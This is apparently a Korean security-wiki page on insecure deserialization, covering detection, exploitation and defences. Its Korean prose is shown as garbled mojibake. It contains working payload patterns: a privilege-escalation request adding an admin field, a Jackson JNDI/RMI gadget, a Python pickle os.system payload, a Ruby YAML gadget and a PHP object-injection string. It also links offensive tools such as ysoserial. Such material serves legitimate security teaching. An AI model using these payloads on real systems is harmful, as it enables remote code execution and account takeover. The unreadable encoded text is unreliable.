๐ Introduction
Insecure Deserialization์ ์ง์ญํ ๊ทธ๋๋ก ์์ ํ์ง ์์ ์ญ์ง๋ ฌํ๋ฅผ ์๋ฏธํฉ๋๋ค. Deserialization ์ ๊ฐ๋ฐ์๊ฐ ์๋ํ์ง ์์ Object ๊น์ง Deserializeํ์ฌ ๋น์ฆ๋์ค ๋ก์ง์์ ๋ฌธ์ ๋ฅผ ๋ฐ์์ํค๊ฑฐ๋, ์กฐ๊ฑด์ ๋ฐ๋ผ์๋ ์ดํ๋ฆฌ์ผ์ด์ ์ด ๊ณต๊ฒฉ์๊ฐ ์๋ํ ์ฝ๋๋ฅผ ์ํํ๊ฒ๋ ๊ตฌ์ฑํ ์ ์์ด ๋ฆฌ์คํฌ๊ฐ ๋์ต๋๋ค.
๋จผ์ Serialization/Deserialization ์ ์์๋ณด๋ฉด ๋ณดํต ๊ฐ๋ฐ ๊ณผ์ ์์ ๋ฉ๋ชจ๋ฆฌ์ ์๋ Object๋ฅผ ํ์ผ ๋ฑ ์ธ๋ถ์ ๋ฐ์ดํฐ๋ก ๋ณํํ๋ ๊ณผ์ ์ Serialization, ๋ฐ๋๋ก ํ์ผ ๋ฑ ์ธ๋ถ์ ์๋ ๋ฐ์ดํฐ๋ฅผ ํ๋ก๊ทธ๋จ ๋ด Object๋ก ๋ณํํ๋ ๊ณผ์ ์ Deserialization์ด๋ผ๊ณ ํฉ๋๋ค.
๐ก Offensive techniques
Detect
Deserialization์ ์์ค์ฝ๋๋ฅผ ๋ณด์ง ์์ ์ํ์์ ๋ช ํํ๊ฒ Deserialization ํ๋ก์ธ์ค๋ผ๊ณ ํ์ ํ๊ธฐ ์ด๋ ต์ต๋๋ค. ๊ทธ๋์ ์ถ์ธก๊ณผ ํ ์คํ ์ ํตํด ์ด๋ฅผ ์๋ณํด์ผํฉ๋๋ค.
๊ธฐ๋ณธ์ ์ผ๋ก Serialization/Deserialization์ Object๋ฅผ ์ฒ๋ฆฌํ๋๋ฐ ์์ด ์ฌ์ฉ๋ฉ๋๋ค. ๊ฐ๋จํ๊ฒ๋ Config ๋ถํฐ ์ฌ์ฉ์ ์ ๋ณด ๋ฑ ์ฌ๋ฌ๊ฐ์ง ํํ๋ก ์ฌ์ฉ๋๊ณ ๊ตฌ์กฐํ๋ ๋ฐ์ดํฐ๋ฅผ Object๋ก ๋ณํํด์ผํ๊ธฐ ๋๋ฌธ์ Input์ด ๊ตฌ์กฐํ๋ ๋ฐ์ดํฐ์ผ ๊ฐ๋ฅ์ฑ์ด ๋์ต๋๋ค. (๋ํ์ ์ผ๋ก JSON, YAML ๋ฑ)
Guessing
Object๋ฅผ ์กฐํํ ์ ์๋ ๊ธฐ๋ฅ์ด ์์ผ๋ฉด ์กฐ๊ธ ๋ ์ฝ๊ฒ ์๋ณํ ์ ์์ต๋๋ค. ๋ง์ฝ ์ฌ์ฉ์ ์์ ํ๋ API ์๋ค๊ณ ๊ฐ์ ํฉ์๋ค.
GET /info HTTP/1.1
HTTP/1.1 200 OK
{
"name":"anna",
"job":"tester",
"loginKey":"abcd3452352351asfd"
}
Response์๋ ์ฌ์ฉ์ Object์ ๋ํ ์ ๋ณด๊ฐ ๋ด๋ ค์ต๋๋ค. ์ด ๋ ์ฌ์ฉ์ ์ ๋ณด ์์ API๊ฐ
POST /info HTTP/1.1
{"name":"1234"}
Error base
Serialization/Deserialization ๊ณผ์ ์ ์๋น์ค ๋ก์ง์ ์ค์ํ ์ํฅ์ ๋ผ์น๊ธฐ ๋๋ฌธ์ ๊ฐ์ ์ ์ด๋ ์ง์ ์ ์ด๋ ์๋ฌ ํธ๋ค๋ง์ด ํ์ํฉ๋๋ค. ๊ทธ๋์ ๋๋๋ก ์ด๋ฌํ ์๋ฌ ์ ๋ณด๋ฅผ ํตํด์ Deserialization ์ฌ๋ถ๋ฅผ ์ฒดํฌํ ์ ์์ต๋๋ค.
์๋๋ ๋ํ์ ์ธ Serialization/Deserialization ๋ผ์ด๋ธ๋ฌ๋ฆฌ์ธ fasterxml.jackson์ ์๋ฌ ๋ด์ฉ์ ๋๋ค. ์ด๋ฌํ ์๋ฌ๋ค์ ํตํด json์ด๋ yaml ๊ฐ์ ํฌ๋งท์ ๋ฐ์ดํฐ๊ฐ Application ๋ด Object๋ก Deserialization ํ๋ ๊ฒ์ ์ ์ ์์ต๋๋ค.
com.fasterxml.jackson.databind.JsonMappingException:
No suitable constructor found for type
[simple type, class org.baeldung.jackson.exception.User]:
can not instantiate from JSON object (need to add/enable type information?)
at [Source: {"id":1,"name":"John"}; line: 1, column: 2]
at c.f.j.d.JsonMappingException.from(JsonMappingException.java:148)
WhiteBox Test
Deserialization ํ๋ ํจ์๋ค์ด ์ฃผ์ ํฌ์ธํธ์ ๋๋ค. ์ธ๋ถ์ ์ ๋ ฅ์ด ํด๋น ํจ์๊น์ง ๋๋ฌํ๋์ง ์ฒดํฌํ๋ ํํ๋ก ์๋ณํ ์ ์์ต๋๋ค. ๋ณดํต ์ฝ๋ ๋ถ์ ๋๊ตฌ๋ค์ด ์ ์ก์์ค๋๋ค.
go
err := json.Unmarshal(rawData, &data)
java - jackson
ObjectMapper objectMapper = new ObjectMapper();
๋ณดํต์ Deserialization ์ ์๊ฐํ๋ฉด ๋ญ๊ฐ ๋ณ๋์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ๋ฑ์ด ์์ ๊ฒ ๊ฐ์ง๋ง ๋จ์ํ JSON Marshal/Unmarshal ๋ํ ๋ํ์ ์ธ Serialization/Deserialization ์ค ํ๋์ ๋๋ค.
Exploitation
Attack hidden fields
Deserialization์ ํฌ๋งท์ ๋ง๋ ๋ฐ์ดํฐ๋ฅผ Object๋ก ํต์งธ๋ก ๋ณํํ๊ธฐ ๋๋ฌธ์ ์ด Object์ ์ด๋ค ์์๊ฐ ์๋๋์ ๋ค๋ผ์ ๋ณด์์ ์ธ ๋ฆฌ์คํฌ๋ฅผ ๊ฐ์ง ์ ์์ต๋๋ค.
๋ง์ฝ ์๋์ ๊ฐ์ ํ๋กํ ์ ๋ฐ์ดํธ ๊ธฐ๋ฅ์ด ์๋ค๊ณ ๊ฐ์ ํฉ์๋ค.
POST /update_profile HTTP/1.1
{"name":"new_name","msg":"Hi"}
๋ง์ฝ ๋ฐฑ์๋๋จ ์ฒ๋ฆฌ๊ฐ ๋จ์ํ ์ ๋ฌ๋ฐ์ ํ๋ผ๋ฏธํฐ๋ฅผ ๋๋น์ ์ ์ฅํ์ฌ ์ฒ๋ฆฌํ๋๊ฒ ์๋๋ผ JSON ๋ฐ์ดํฐ ์์ฒด๋ฅผ Deserialization ํ๋ค๋ฉด, ์ฐ๋ฆฌ๋ name๊ณผ msg ์ด์ธ์ ๊ฐ์ ๊ฐ์ด ์ ๋ฌํ์ฌ profile์ด๋ object์ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ฅผ ์์ ํ๋ ค๊ณ ์๋ํด๋ณผ ์ ์์ต๋๋ค.
์ด์ด ์ข๋ค๋ฉด, ์๋์ ๊ฐ์ด hidden fields๋ฅผ ์ฐพ๊ณ , ์ด๋ฅผ ๋ฐ์์์ผ ๊ถํ์ ์์นํ๋๋ฑ ๊ฐ๋ฐ์๊ฐ ์๋ํ์ง ์์ ์ก์ ์ ์ํํ ์ ์์ต๋๋ค.
POST /update_profile HTTP/1.1
{"name":"new_name","msg":"Hi","admin":true}
Code Execution - Java
์ด ๋ถ๋ถ์ด Insecure Deserialization ๊ฐ์ฅ ์ค์ํ ๋ถ๋ถ์ด์, ๋ํ์ ์ธ ๊ณต๊ฒฉ ๋ฐฉ๋ฒ์ ๋๋ค.
import java.io.IOException;
import com.fasterxml.jackson.core.JsonParseException;
import com.fasterxml.jackson.databind.JsonMappingException;
import com.fasterxml.jackson.databind.ObjectMapper;
public class JacksonTest {
public static void main(String[] args) throws JsonParseException, JsonMappingException, IOException {
ObjectMapper objectMapper = new ObjectMapper();
objectMapper.enableDefaultTyping();
StringBuilder d = new StringBuilder();
d.append("[");
d.append("\"ch.qos.logback.core.db.JNDIConnectionSource\"");
d.append(",");
d.append("{");
d.append("\"jndiLocation\"");
d.append(":");
d.append("\"rmi://127.0.0.1:1097/rce\"");
d.append("}");
d.append("]");
Object obj = objectMapper.readValue(d.toString(), java.lang.Object.class);
objectMapper.writeValueAsString(obj);
}
}
Java ๊ด๋ จ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ Gadget ์ฝ๋์ ์ฌ์ด์ฆ๊ฐ ์ปค์ YsoSerial ๊ฐ์ ๋๊ตฌ๋ฅผ ํ์ฉํ์ฌ Payload Gadget์ ๋ง๋ค๊ณ Exploitํฉ๋๋ค.
Code Execution - Python
import cPickle
from base64 import b64encode, b64decode
class Evil(object):
def __reduce__(self):
return (os.system,("whoami",))
e = Evil()
evil_token = b64encode(cPickle.dumps(e))
print("Your Evil Token : {}").format(evil_token)
Code Execution - Ruby
ruby yaml package
--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::StubSpecification
loaded_from: "|id 1>&2"
- !ruby/object:Gem::Source::SpecificFile
spec:
Code Execution - PHP
string(68) "O:18:"PHPObjectInjection":1:{s:6:"inject";s:17:"system('whoami');";}"
๐ก Defensive techniques
Update library
Insecure Deserialization์ ํตํ Code Execution ๋ฑ์ ์ด์๋ ๋๋ถ๋ถ Library ๋จ์์ ๋ณดํธ๋ก์ง(e.g Sandboxing)์ด ๋ฏธํกํ ๊ฒฝ์ฐ์ ๋๋ค. ๊ฐ๊ธ์ ์ต์ ๋ฒ์ ์ ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ์ฌ์ฉํ๋ฉฐ ์ฃผ๊ธฐ์ ์ผ๋ก ํ์ธํ์ฌ ์ ๋ฐ์ดํธ ํ๋ ๊ฒ์ด ์ข์ต๋๋ค.
Trusted Field Clobbering
Code execution ์ด์ธ์๋ Insecure Deserialization์ผ๋ก ์ธํด Object ๋ด ์๋ํ์ง ๋ฐ์ดํฐ ๋ณ๊ฒฝ์ด ์ผ์ด๋ ์ ์์ต๋๋ค. ๊ทธ๋์ ์ ๋ขฐํ ์ ์๋ ๋ฐ์ดํฐ๋ง Deserialization์ผ๋ก ๋ฐ์๋ ์ ์๋๋ก ๊ตฌํํด์ผํฉ๋๋ค.
๊ฐ๊ธ์ ๊ฐ๋ฐ ๋จ๊ณ์์ ์ด๋ฅผ ์ฃผ์ํ์ฌ ํ์ฉ๋ Object์ ๋ฐ์ดํฐ๋ง ๋ณ๊ฒฝํ ์ ์๋๋ก ์ ํ์ด ํ์ํ๊ณ , ๋ง์ฝ Insecure Deserialization ์ทจ์ฝ์ ์ด ๋ฐ๊ฒฌ๋ ์ํ๋ผ๋ฉด ์๋น์ค์์ ์๋ํ ๋ฐ์ดํฐ ์ด์ธ์๋ ์์ ๋์ง ์๋๋ก ๋ณ๊ฒฝ์ด ํ์ํฉ๋๋ค.
์ฐ๊ธฐ์ ์ ํ๋ฒ ๋ ๊ณ ๋ฏผ
Serialization/Deserialization์ ์ฌ์ฉํ๊ธฐ ์ ์ ๊ผญ ํ์ํ ๋ถ๋ถ์ธ์ง ํ๋ฒ ๋ ๊ณ ๋ฏผํด๋ณด๋๊ฒ ์ข์ต๋๋ค.
๐น Tools
Testing
- https://github.com/frohoff/ysoserial
- https://github.com/federicodotta/Java-Deserialization-Scanner/releases
- https://github.com/mbechler/marshalsec
Mitigation
- https://github.com/kantega/notsoserial
- https://github.com/ikkisoft/SerialKiller
- https://github.com/cschneider4711/SWAT
๐ Articles
- https://www.hahwul.com/2018/06/08/ysoserial-java-object-deserialization/
- https://www.hahwul.com/2017/09/07/exploit-struts2-rest-plugin-xstream-rce/
- https://www.hahwul.com/2018/11/12/phar-php-deserialization-vulnerability/
- https://www.hahwul.com/2021/12/29/log4-2.17-jdbcappender-rce/
- https://www.hahwul.com/2019/06/22/ruby-on-rails-double-tap-vulnerability/
๐ References
- https://portswigger.net/web-security/deserialization
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html